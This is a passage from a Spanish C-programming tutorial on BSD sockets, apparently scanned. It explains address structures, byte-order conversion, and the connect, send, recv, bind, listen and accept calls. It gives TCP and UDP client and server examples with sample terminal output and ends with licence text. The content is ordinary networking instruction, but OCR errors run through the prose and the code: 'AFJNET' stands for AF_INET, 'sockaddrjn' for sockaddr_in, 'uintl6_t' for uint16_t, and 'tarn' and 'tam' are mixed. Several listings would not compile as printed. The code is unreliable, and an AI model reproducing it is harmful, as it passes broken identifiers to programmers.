sentido para que el tamano de esta estructura coincida con el 
de sockaddr. 

La estructura i n addrutilizada en s inaddrtiene la siguiente definicion: 

struct in_addr { 

unisgned long s_addr; 

} 

Es decir, un entero largo sin signo. 

Ademas de utilizar las estructuras necesarias, tambien deberemos 
emplear los formatos necesarios. En comunicaciones telematicas entran en 
juego ordenadores de muy diversas naturalezas, con representaciones 
diferentes de los datos en memoria. La familia de microprocesadores x86, 
por ejemplo, guarda los valores numericos en memoria utilizando la 
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representacion "Little-Endian", es decir, para guardar "12345678 ", se 
almacena asi: "78563412 ", es decir, el byte de menos peso ("78") al principio, 
luego el siguiente ("56"), el siguiente ("34") y por ultimo, el byte de mas peso 
("12"). La representacion "Big-Endian", empleada por los microprocesadores 
Motorola, por ejemplo, guardaria "12345678" asi: "12345678". Si dos 
ordenadores de estas caracteristicas compartieran informacion sin ser 
unificada, el resultado seria ininteligible para ambas partes. Por ello 
disponemos de un conjunto de funciones gue traducen de el formato local 
("host") al formato de la red ("network") y viceversa: 

uint32_t htonl(uint32_t hostlong); 
uintl6_t htons(uintl6_t hostshort); 
uint32_t ntohl(uint32_t netlong); 
uintl6_t ntohs(uintl6_t netshort); 
} 

Quiza parezca complicado, pero sus nombres son muy representatives: 
"h" significa "host"-y "n" significa "network". Las funciones gue acaban en "\" 
son para enteros largos ("long int", como los usados en las direcciones IP) y 
las gue acaban en "s" son para enteros cortos ("short int", como los usados al 
especificar un numero de puerto). Por lo tanto para indicar un numero de 
puerto, por ejemplo, podriamos hacerlo asi: 

sin_port = htons( 80 ); 

Es decir, convertimos "80" del formato de nuestro host, al formato de red 
("h" to "n"), y como es un "short" usamos htons(). 

Ya para terminar con los formatos veremos dos funciones mas. 
Normalmente la gente no utiliza enteros largos para representar sus 
direcciones IP, sino gue usan la notacion decimal, por ejemplo: 
130.206.100.59. Pero como ya hemos visto, in addr necesita un entero largo 
para representar la direccion IP. Para poder pasar de una notacion a otra 
tenemos dos funciones a nuestra disposicion: 

int inet_aton(const char *cp, struct in_addr *inp); 
char *inet_ntoa(struct in_addr in); 

Los nombres de las funciones tambien ayudan: inet_aton() traduce de un 
array ("a") de chars, es decir, un string, a una direccion de red ("n", de 
"network"), mientras gue inet ntoaO traduce de una direccion de red ("n") a un 
array de chars ("a"). Veamos un ejemplo de su uso: 

struct in_addr mi_addr; 

inet_aton( "130.206.100.59", &(mi_addr) ); 

printf( "Direccion IP: %s\n", inet_ntoa( mi_addr ) ); 

Para terminar este apartado, vamos a ver como rellenar una estructura 
sockaddr in desde el principio. Imaginemos gue gueremos preparar la 
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estructura "mi estructurapara conectarnos al puerto 80 del host 
"130.206.100.59". Deberiamos hacer los siguiente: 



struct sockaddr_in mi_estructura; 



mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = htons( 80 ); 
inet_aton( "130.206.100.59", &(mi_estructura.sin_addr) ); 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 



Como ya sabemos, "sin fami lysiempre va a ser "afjneT'. Para definir 
"sin port", utilizamos htonsO con el objeto de poner el puerto en formato de 
red. La direccion IP la definimos desde el formato decimal a la estructura 
"sin addr" con la funcion inet_aton(), como sabemos. Y por ultimo necesitamos 8 
bytes a 0 ("\0") en "sin_zero", cosa que conseguimos utilizando la funcion 
memseto. Realmente podria copiarse este fragmento de codigo y utilizarlo 
siempre asi sin variacion: 



#define PUERTO 80 

#define DIRECCION "130.206.100.59" 



struct sockaddr_in mi_estructura; 



mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = htons( PUERTO ); 
inet_aton( DIRECCION, &(mi_estructura.sin_addr) ); 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 



1.5.7.4 Funciones necesarias 

Una vez conocidos los tipos de datos que emplearemos a la hora de 
programar nuestras aplicaciones de red, es hora de ver las llamadas que nos 
proporcionaran la creacion de conexiones, envio y recepcion de datos, etc. 

Lo primero que debemos obtener a la hora de programar una aplicacion 
de red es un socket. Ya hemos explicado que un socket es un conector o 
enchufe para poder realizar intercomunicaciones entre procesos, y sirve 
tanto para crear un programa que pone un puerto a la escucha, como para 
conectarse a un determinado puerto. Un socket es un fichero, como todo en 
UNIX, por lo que la llamada a la funcion socketQ creara el socket y nos 
devolvera un descriptor de fichero: 

int socket(int domain, int type, int protocol); 

De los tres parametros que recibe, solo nos interesa fijar uno de ellos: 
"type". Deberemos decidir si queremos que sea un socket de flujo 
("sock_stream")o un socket de datagramas ("sock dgram"). El resto de 
parametros se pueden fijar a "afjnet" para el dominio de direcciones, y a 
"0", para el protocolo (de esta manera se selecciona el protocolo 
automaticamente) : 

mi_socket = socket( AFJNET, SOCK_DGRAM, 0 ); 
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Ya sabemos crear sockets, utilicemoslos para conectarnos a un servidor 
remote Para conectarnos a otro ordenador deberemos utilizar la funcion 
connect () que recibe tres parametros: 

int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen); 

El primero de ellos es el socket ("sockfd') que acabamos de crear, el 
sequndo es un puntero a una estructura de tipo sockaddr("serv_addr") 
recientemente explicada (recordemos que sockaddrjn era una estructura 
sockaddr especialmente disenada para protocolos de Internet, asi que nos 
sirve aqui), y por ultimo es preciso indicar el tamano de dicha estructura 
("addrlen"). Veamos un fraqmento de codiqo que ponqa todo esto en jueqo: 

#define PUERTO 80 

#define DIRECCION "130.206.100.59" 

int mi_socket, tarn; 

struct sockaddr_in mi_estructura; 

mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = htons( PUERTO ); 
inet_aton( DIRECCION, &(mi_estructura.sin_addr) ) ; 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 

mi_socket = socket( AFJNET, SOCK_STREAM, 0 ); 

tarn = sizeof( struct sockaddr ); 

connect( mi_socket, (struct sockaddr *)&mi_estructura, tam ); 

Como vemos, lo unico que hemos hecho es juntar las pocas cosas vistas 
hasta ahora. Con ello ya consequimos establecer una conexion remota con el 
servidor especificado en las constantes direccion y Puerto. Seria conveniente 
comprobar todos los errores posibles que podria provocar este codiqo, como 
que connect() no loqre conectar con el host remoto, que la creacion del socket 
falle, etc. 

Para poder enviar y recibir datos existen varias funciones. Ya avanzamos 
anteriormente que un socket es un descriptor de fichero, asi que en teoria 
seria posible escribir con writeO y leer con read(), pero hay funciones mucho 
mas comodas para hacer esto. Dependiendo si el socket que utilicemos es de 
tipo socket de flujo o socket de dataqramas emplearemos unas funciones u 
otras: 

■ Para sockets de flujo: send() y recv(). 

■ Para sockets de dataqramas: sendtoO y recvfrom(). 

Los prototipos de estas funciones son los siquientes: 
int send(int s, const void *msg, size_t len, int flags); 

int sendto(int s, const void *msg, size_t len, int flags, const struct sockaddr *to, socklen_t 
tolen); 
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int recv(int s, void *buf, size_t len, int flags); 

int recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t 
*fromlen); 

El parametro "s" es el socket que emplearemos. Tanto "msg " como "buf" 
son los buffers que utilizaremos para almacenar el mensaje que queremos 
enviar o recibir. Posteriormente tenemos que indicar el tamano de ese buffer, 
con "len". En el campo "flags" se pueden indicar varias opciones juntandolas 
mediante el operador OR, pero funcionara perfectamente si ponemos un 0 
(siqnifica no eleqir ninquna de esas opciones multiples). Las funciones para 
sockets de dataqramas incluyen ademas el puntero a la estructura sockaddr y 
un puntero a su tamano, tal y como ocurria con connect(). Esto es asi porque 
una conexion mediante este tipo de socket no requiere hacer un connecto 
previo, por lo que es necesario indicar la direccion IP y el numero de puerto 
para enviar o recibir los datos. Veamos unos fraqmentos de codiqo de 
ejemplo: 

char buf_envio[] = "Hola mundo telematico!\r\n"; 
char buf_recepcion[255]; 
int tam, numbytes; 

// aquf creamos el socket mi_socket y 

// la estructura mi_estructura, como hemos hecho antes 

tarn = sizeof( struct sockaddr ); 

connect( mi_socket, (struct sockaddr *)&mi_estructura, tam ); 

numbytes = send( mi_socket, buf_envio, strlen( buf_envio ), 0 ); 
printf( "%d bytes enviados\n", numbytes ); 

numbytes = recv( mi_socket, buf_recepcion, 255-1, 0 ); 
printf( "%d bytes recibidos\n", numbytes ); 



Creamos dos buffers, uno para contener el mensaje que queremos enviar, 
y otro para quardar el mensaje que hemos recibido (de 255 bytes). En la 
variable "numbytes" quardamos el numero de bytes que se han enviado o 
recibido por el socket. A pesar de que en la llamada a recv() pidamos recibir 
254 bytes (el tamano del buffer menos un byte, para indicar con un "\0" el fin 
del string), es posible que recibamos menos, por lo que es muy recomendable 
quardar el numero de bytes en dicha variable. El siquiente codiqo es similar 
pero para para sockets de dataqramas: 

char buf_envio[] = "Hola mundo telematico!\r\n"; 
char buf_recepcion[255]; 
int tam, numbytes; 

// aquf creamos el socket mi_socket y 

// la estructura mi_estructura, como hemos hecho antes 

tam = sizeof( struct sockaddr ); 
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// no es preciso hacer connectQ 

numbytes = sendto( mi_socket, buf_envio, strlen( buf_envio ), 0, 
(struct sockaddr *)&mi_estructura, tarn ); 
printf( "%d bytes enviados\n", numbytes ); 

numbytes = recvfrom( mi_socket, buf_recepcion, 255-1, 0, 
(struct sockaddr *)&mi_estructura, &tam ); 
printf( "%d bytes recibidos\n", numbytes ); 

Las diferencias con el codigo anterior son bastante faciles de ver: no hay 
necesidad de hacer connect Q porque la direccion y puerto los incluimos en la 
llamada a send to ()y recvfrom(). El puntero a la estructura "mi_estructura" tiene 
que ser de tipo "sockaddr", asi que hacemos un cast, y el tamaho tiene que 
indicarse en recvfrom() como un puntero al entero que contiene el tamaho, asi 
que referenciamos la variable "tarn". 

Con todo lo visto hasta ahora ya sabemos hacer clientes de red, que se 
conecten a hosts remotos tanto mediante protocolos orientados a la 
conexion, como telnet o http, como mediante protocolos no orientados a la 
conexion ,como tftp o dhcp. El proceso para crear aplicaciones que escuchen 
un puerto y acepten conexiones requiere comprender el uso de unas cuantas 
funciones mas. 

Para crear un servidor de sockets de flujo es necesario realizar una serie 
de pasos: 

1 . Crear un socket para aceptar las conexiones, mediante 
socket(). 

2. Asociar ese socket a un puerto local, mediante bind(). 

3. Poner dicho puerto a la escucha, mediante listenQ. 

4. Aceptar las conexiones de los clientes, mediante accept(). 

5. Procesar dichas conexiones. 

La llamada a bind() asocia el socket que acabamos de crear con un puerto 
local. Cuando un paquete de red llegue a nuestro ordenador, el nucleo del 
Sistema Operativo vera a que puerto se dirige y utilizara el socket asociado 
para encaminar los datos. La llamada a bind() tiene unos parametros muy 
poco sorprendentes: 

int bind(int sockfd, struct sockaddr *my_addr, socklen_t addrlen); 

Es decir, el socket, la estructura que indica la direccion IP y el puerto, y 
el tamaho de dicha estructura. Un ejemplo del uso de bind(): 

#define PUERTO 80 

#define DIRECCION "130.206.100.59" 

int mi_socket, tarn; 

struct sockaddrjn mi_estructura; 

mi_estructura.sin_family = AFJNET; 
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mi_estructura.sin_port = htons( PUERTO ); 
inet_aton( DIRECCION, &(mi_estructura.sin_addr) ); 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 

mi_socket = socket( AFJNET, SOCK_STREAM, 0 ); 

tarn = sizeof( struct sockaddr ); 

bind( mi_socket, (struct sockaddr *)&mi_estructura, tam ); 

Si quisieramos poner a la escucha nuestra propia direccion, sin tener que 
saber cual es en concreto, podriamos haber empleado "inaddr any ", y si el 
puerto que ponemos a la escucha nos da iqual, podriamos haber puesto el 
numero de puerto "0", para que el propio kernel decida cual darnos: 

mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = 0; 
mi_estructura.sin_addr.s_addr = INADDR_ANY; 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 

Esta es la unica llamada que se requiere para crear un servidor de 
sockets de dataqramas, ya que no estan orientados a la conexion. Para crear 
servidores de sockets de flujo, una vez hayamos asociado el socket al puerto 
con bind (J deberemos ponerlo a la escucha de peticiones mediante la funcion 
I isten.(Esta funcion recibe solo dos parametros: 

int listen(int s, int backlog); 

El primero de ellos es el socket, y el sequndo es el numero maximo de 
conexiones a la espera que puede contener la cola de peticiones. Despues de 
poner el puerto a la escucha, aceptamos conexiones pendientes mediante la 
llamada a la funcion accept () Esta funcion saca de la cola de peticiones una 
conexion y crea un nuevo socket para tratarla. Recordemos que sucede 
cuando llamamos al numero de informacion de Telefonica: marcamos el 
numero (connect () y como hay alquien atento a coqer el telefono (listenO), se 
acepta nuestra llamada que pasa a la espera (en funcion del backlog de listenO 
puede que nos informen de que todas las lineas estan ocupadas). Despues de 
tener que escuchar una horrible sintonia, se nos asiqna un telefonista 
(accepto) que atendera nuestra llamada. Cuando se nos ha asiqnado ese 
telefonista, en realidad estamos hablando ya por otra linea, porque cualquier 
otra persona puede llamar al numero de informacion de Telefonica y la 
llamada no daria la sehal de comunicando. Nuestro servidor puede aceptar 
varias peticiones (tantas como indiquemos en el backlog de listenO) y lueqo 
cuando aceptemos cada una de ellas, se creara una linea dedicada para esa 
peticion (un nuevo socket por el que hablar). Veamos un ejemplo con todo 
esto: 

#define PUERTO 80 

int mi_socket, nuevo, tam; 
struct sockaddrjn mi_estructura; 

mi_estructura.sin_family = AFJNET; 
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mi_estructura.sin_port = htons( PUERTO ); 
mi_estructura.sin_addr.s_addr = INADDR_ANY; 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 

mi_socket = socket( AFJNET, SOCK_STREAM, 0 ); 

tarn = sizeof( struct sockaddr ); 

bind( mi_socket, (struct sockaddr *)&mi_estructura, tarn ); 
listen( mi_socket, 5 ); 

while( 1 ) // bucle infinito para tratar conexiones 
{ 

nuevo = accept( mi_socket, (struct sockaddr *)&mi_estructura, 

&tam ); 
if( fork() == 0 ) 
{ // hijo 

close( mi_socket ); // El proceso hijo no lo necesita 
send( nuevo, "200 Bienvenido\n", 15, 0); 
close( nuevo ); 
exit( 0 ); 
} else { // padre 

close( nuevo ); // El proceso padre no lo necesita 

} 

} 

Lo mas extrano de este ejemplo puede ser el bucle "whi le", todo lo demas 
es exactamente igual que en anteriores ejemplos. Veamos ese bucle: lo 
primero de todo es aceptar una conexion de las que esten pendientes en el 
backlogde conexiones. La llamada a accepto nos devolvera el nuevo socket 
creado para atender dicha peticion. Creamos un proceso hijo que se 
encargue de gestionar esa peticion mediante fork(). Dentro del hijo cerramos 
el socket iniciaL ya que no lo necesitamos, y enviamos "200 Bienvenido\n" por el 
socket nuevo. Cuando hayamos terminado de atender al cliente, cerramos el 
socket con closeO y salimos. En el proceso padre cerramos el socket "nuevo", 
ya que no lo utilizaremos desde este proceso. Este bucle se ejecuta 
indefinidamente, ya que nuestro servidor debera atender las peticiones de 
conexion indefinidamente. 

Ya hemos visto como cerrar un socket, utilizando la llamada estandar 
closeO, como con cualquier fichero. Esta funcion cierra el descriptor de 
fichero del socket, liberando el socket y denegando cualquier envio o 
recepcion a traves del mismo. Si quisieramos tener mas control sobre el 
cierre del socket podriamos usar la funcion shutdown(): 

int shutdown(int s, int how); 

En el parametro "how" indicamos como queremos cerrar el socket: 

■ 0: No se permite recibir mas datos. 

■ l: No se permite enviar mas datos. 

■ 2: No se permite enviar ni recibir mas datos (lo mismo 
que closeO). 
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Esta funcion no cierra realmente el descriptor de fichero del socket, sino 
que modifica sus condiciones de uso, es decir, no libera el recurso. Para 
liberar el socket despues de usarlo, deberemos usar siempre close(.) 

1.5.7.5 Ejemplos con sockets de tipo stream 



Servidor 

He aqui el codiqo de ejemplo de un servidor sencillo TCP: 

#include <unistd.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/socket.h> 

int main( int argc, char *argv[] ) 
{ 

int mi_socket, nuevo, tarn; 
struct sockaddrjn mi_estructura; 

mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = 0; 
mi_estructura.sin_addr.s_addr = INADDR_ANY; 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 

mi_socket = socket( AFJNET, SOCK_STREAM, 0 ); 

tam = sizeof( struct sockaddr ); 

bind( mi_socket, (struct sockaddr *)&mi_estructura, tam ); 
listen( mi_socket, 5 ); 

while( 1 ) // bucle infinito para tratar conexiones 
{ 

nuevo = accept( mi_socket, 

(struct sockaddr *)&mi_estructura, &tam); 
if( forkO == 0 ) 
{ // hijo 

close( mi_socket ); // El proceso hijo no lo necesita 
send( nuevo, "200 Bienvenido\n", 15, 0 ); 
close( nuevo ); 
exit( 0 ); 
} else { // padre 
close( nuevo ); // El proceso padre no lo necesita 

} 

} 

return 0; 

} 

Un ejemplo de su ejecucion: 
txipi@neon:~$ gcc servertcp.c -o servertcp 
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txipi@neon:~$ ./servertcp & 
[1] 419 

txipi@neon:~$ netstat -pta 

(Not all processes could be identified, non-owned process info 
will not be shown, you would have to be root to see it all.) 
Active Internet connections (servers and established) 
Proto Recv-Q Send-Q Local Address Foreign Address State 
PID/Program name 

tcp 0 0 *:www *:* LISTEN 

tcp 0 0 *:46101 *:* LISTEN 
419/servertcp 

txipi@neon:~$ telnet localhost 46101 
Trying 127.0.0.1... 
Connected to localhost. 
Escape character is '~]\ 
200 Bienvenido 

Connection closed by foreign host. 

Al haber indicado como numero de puerto el 0, ha elegido un numero 
puerto aleatorio de entre los posibles (de 1024 a 65535, ya que solo root 
puede hacer bind()sobre los puertos "bajos", del 1 al 1024). 

Cliente 

He aqui el codigo de ejemplo de un simple cliente TCP: 

#include <unistd.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/socket.h> 

#define SIZE 255 

int main(int argc, char *argv[]) 
{ 

int mi_socket, tarn, nu mbytes; 

char buffer[SIZE]; 

struct sockaddrjn mi_estructura; 

if( argc ! = 3 ) 
{ 

printf( "error: modo de empleo: clienttcp ip puerto\n" ); 
exit( -1 ); 

} 

mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = htons( atoi( argv[2] ) ); 
inet_aton( argv[l], &(mi_estructura.sin_addr) ); 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 

mi_socket = socket( AFJNET, SOCK_STREAM, 0); 
tarn = sizeof( struct sockaddr ); 

connect( mi_socket, (struct sockaddr *)&mi_estructura, tarn ); 
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numbytes = recv( mi_socket, buffer, SIZE-1, 0 ); 
buffer[numbytes] = '\0'; 
printf( "%d bytes recibidos\n", numbytes ); 
printf( "recibido: %s\n", buffer ); 

close( mi_socket ); 

return 0; 

} 

Veamoslo en funcionamiento: 

txipi@neon:~/programacion$ gcc clienttcp.c -o clienttcp 
txipi@neon:~/programacion$ ./clienttcp 127.0.0.1 46105 
15 bytes recibidos 
recibido: 200 Bienvenido 



1.5.7.6 Ejemplos con sockets de tipo datagrama 



Servidor 

He aqiri el codigo de ejemplo de un servidor sencillo UDP: 

#include <unistd.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/socket.h> 

#define PUERTO 5000 
#define SIZE 255 

int main(int argc, char *argv[]) 
{ 

int mi_socket, tam, numbytes; 

char buffer[SIZE]; 

struct sockaddrjn mi_estructura; 

mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = htons( PUERTO ); 
mi_estructura.sin_addr.s_addr = INADDR_ANY; 
memset( &(mi_estructura.sin_zero), '\0', 8); 

mi_socket = socket( AFJNET, SOCK_DGRAM, 0); 
tam = sizeof( struct sockaddr ); 

bind( mi_socket, (struct sockaddr *)&mi_estructura, tam ); 

while( 1 ) // bucle infinito para tratar conexiones 
{ 

numbytes = recvfrom( mi_socket, buffer, SIZE-1, 0, (struct sockaddr *)&mi_estructura, 
&tam ); 

buffer[ numbytes] = '\0'; 

printf( "serverudp: %d bytes recibidos\n", numbytes ); 
printf( "serverudp: recibido: %s\n", buffer ); 
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} 

close( mi_socket ); 
return 0; 

} 

El puerto a la escucha se define con la constante Puerto , en este caso 
tiene el valor 5000. Con "netstat -upa" podemos ver que realmente esta a la 
escucha: 

txipi@neon:~$ netstat -upa 

(Not all processes could be identified, non-owned process info 
will not be shown, you would have to be root to see it all.) 
Active Internet connections (servers and established) 

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 
udp 0 0 *:talk *:* 
udp 0 0*:ntalk *:* 

udp 0 0*:5000 *:* 728/serverudp 

Cliente 

He aqui el codigo de ejemplo de un simple cliente UDP: 

#include <unistd.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/socket.h> 

#define SIZE 255 

int main(int argc, char *argv[]) 
{ 

int mi_socket, tarn, nu mbytes; 

char buffer[SIZE]; 

struct sockaddrjn mi_estructura; 

if( argc ! = 3 ) 
{ 

printf( "error: modo de empleo: clienttcp ip puerto\n" ); 
exit( -1 ); 

} 

mi_estructura.sin_family = AFJNET; 
mi_estructura.sin_port = htons( atoi( argv[2] ) ); 
inet_aton( argvfl], &(mi_estructura.sin_addr) ); 
memset( &(mi_estructura.sin_zero), '\0', 8 ); 

mi_socket = socket( AFJNET, SOCK_DGRAM, 0); 

tarn = sizeof( struct sockaddr ); 

strcpy( buffer, "Hola mundo telematico!\n" ); 

numbytes = sendto( mi_socket, buffer, strlen(buffer), 0, (struct sockaddr 
*)&mi_estructura, tarn ); 

printf( "clientudp: %d bytes enviados\n", numbytes ); 
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printf( "clientudp: enviado: %s\n", buffer ); 
strcpy( buffer, "Este es otro paqueteAn" ); 

numbytes = sendto( mi_socket, buffer, strlen(buffer), 0, (struct sockaddr 
*)&mi_estructura, tam ); 

printf( "clientudp: %d bytes enviados\n", numbytes ); 
printf( "clientudp: enviado: %s\n", buffer ); 

close( mi_socket ); 

return 0; 

} 

Veamoslo en funcionamiento: 

txipi@neon:~$ gcc clientudp. c -o clientudp 
txipi@neon:~$ ./clientudp 127.0.0.1 5000 
clientudp: 23 bytes enviados 
clientudp: enviado: Hola mundo telematico! 

clientudp: 22 bytes enviados 

clientudp: enviado: Este es otro paquete. 

serverudp: 23 bytes recibidos 

serverudp: recibido: Hola mundo telematico! 

serverudp: 22 bytes recibidos 
serverudp: recibido: Este es otro paquete. 
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Usted es libre de: 

• copiar, distribuir y comunicar publicamente la obra 

• hacer obras derivadas 
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Bajo las condiciones siguientes: 



Reconocimiento. Debe reconocer los creditos de la obra 
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